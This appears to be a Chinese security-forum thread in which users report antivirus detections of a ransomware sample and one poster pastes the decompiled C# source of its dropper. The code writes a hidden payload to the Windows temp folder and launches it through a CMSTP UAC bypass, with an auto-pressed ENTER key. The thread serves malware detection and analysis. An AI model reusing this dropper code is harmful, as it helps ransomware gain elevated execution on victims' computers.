#Ransom

hsks

https://www.virustotal.com/gui/f ... a37d4edf9/detection

k2132

智量 火绒

qwerwer

卡巴阻止下载

正在缓冲

avast、ESET、Microsoft Defender：Ransom:MSIL/FileCoder!MTB

泉州晋江

AVG

Win32:RansomX-gen [Ransom]

BitterLotus

似乎只是勒索病毒释放器而已，没有主体，主体是在Windows\temp下的随机文件名.exe
这里是反编译出来的Main函数源码，GetResource就是获取并返回主体程序的源码

1. public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";
   
2. public static extern bool SetForegroundWindow(IntPtr hWnd);
   
3. [DllImport("user32.dll")]
   
4. public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
   
5. 
   
6. 
   
7. 
   
8. public static void Main()
   
9. {
   
10.         try
    
11.         {
    
12.                 string text = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\temp\" + Path.GetRandomFileName().Split(new char[]
    
13.                 {
    
14.                         Convert.ToChar(".")
    
15.                 })[0] + ".exe";
    
16.                 File.WriteAllBytes(text, CMSTPBypass.GetResource("3rt5bhzrahq"));
    
17.                 StringBuilder stringBuilder = new StringBuilder();
    
18.                 stringBuilder.Append(CMSTPBypass.SetInfFile("cmd /c start "" + text + """));
    
19.                 Process.Start(new ProcessStartInfo(CMSTPBypass.BinaryPath)
    
20.                 {
    
21.                         Arguments = "/au " + stringBuilder.ToString(),
    
22.                         UseShellExecute = false,
    
23.                         CreateNoWindow = true,
    
24.                         WindowStyle = ProcessWindowStyle.Hidden
    
25.                 });
    
26.                 IntPtr value = 0;
    
27.                 value = IntPtr.Zero;
    
28.                 do
    
29.                 {
    
30.                         value = CMSTPBypass.SetWindowActive("cmstp");
    
31.                 }
    
32.                 while (value == IntPtr.Zero);
    
33.                 SendKeys.SendWait("{ENTER}");
    
34.         }
    
35.         catch
    
36.         {
    
37.         }
    
38.         Environment.Exit(0);
    
39. }
    
40. private static byte[] GetResource(string file)
    
41. {
    
42.         ResourceManager resourceManager = new ResourceManager("d3m0edrn1zd", Assembly.GetExecutingAssembly());
    
43.         return (byte[])resourceManager.GetObject(file);
    
44. }
    
45. public static string SetInfFile(string CommandToExecute)
    
46. {
    
47.         string value = Path.GetRandomFileName().Split(new char[]
    
48.         {
    
49.                 Convert.ToChar(".")
    
50.         })[0];
    
51.         string value2 = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\temp";
    
52.         StringBuilder stringBuilder = new StringBuilder();
    
53.         stringBuilder.Append(value2);
    
54.         stringBuilder.Append("\");
    
55.         stringBuilder.Append(value);
    
56.         stringBuilder.Append(".inf");
    
57.         StringBuilder stringBuilder2 = new StringBuilder(CMSTPBypass.InfData);
    
58.         stringBuilder2.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
    
59.         File.WriteAllText(stringBuilder.ToString(), stringBuilder2.ToString());
    
60.         return stringBuilder.ToString();
    
61. }
    
62. 
    
63. public static string SetInfFile(string CommandToExecute)
    
64. {
    
65.         string value = Path.GetRandomFileName().Split(new char[]
    
66.         {
    
67.                 Convert.ToChar(".")
    
68.         })[0];
    
69.         string value2 = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\temp";
    
70.         StringBuilder stringBuilder = new StringBuilder();
    
71.         stringBuilder.Append(value2);
    
72.         stringBuilder.Append("\");
    
73.         stringBuilder.Append(value);
    
74.         stringBuilder.Append(".inf");
    
75.         StringBuilder stringBuilder2 = new StringBuilder(CMSTPBypass.InfData);
    
76.         stringBuilder2.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
    
77.         File.WriteAllText(stringBuilder.ToString(), stringBuilder2.ToString());
    
78.         return stringBuilder.ToString();
    
79. }
    
80. 
    
81. 
    
82. public static IntPtr SetWindowActive(string ProcessName)
    
83. {
    
84.         Process[] processesByName = Process.GetProcessesByName(ProcessName);
    
85.         if (processesByName.Length == 0)
    
86.         {
    
87.                 return IntPtr.Zero;
    
88.         }
    
89.         processesByName[0].Refresh();
    
90.         IntPtr intPtr = 0;
    
91.         intPtr = processesByName[0].MainWindowHandle;
    
92.         if (intPtr == IntPtr.Zero)
    
93.         {
    
94.                 return IntPtr.Zero;
    
95.         }
    
96.         CMSTPBypass.SetForegroundWindow(intPtr);
    
97.         CMSTPBypass.ShowWindow(intPtr, 5);
    
98.         return intPtr;
    
99. }
    
100. 
     
101. 
     

复制代码

温馨小屋

Norton

petr0vic

~56 engines detected this file / VT

megakotaro

点击后马上加密，并删除阴影储存，但运行时没有看到留下勒索信

hybrid-analysis.com
Kaspersky Threat Intelligence Portal
ANY.RUN

心醉咖啡

毒霸

1. 下载时间: 2021-02-08 18:49:59
   
2. 下载工具:  其他
   
3. 文件路径:  e:\浏览器下载\x.zip
   
4. 病毒名:  Win32.Troj.Undef.(kcloud)
   
5. 操作结果:  已删除

复制代码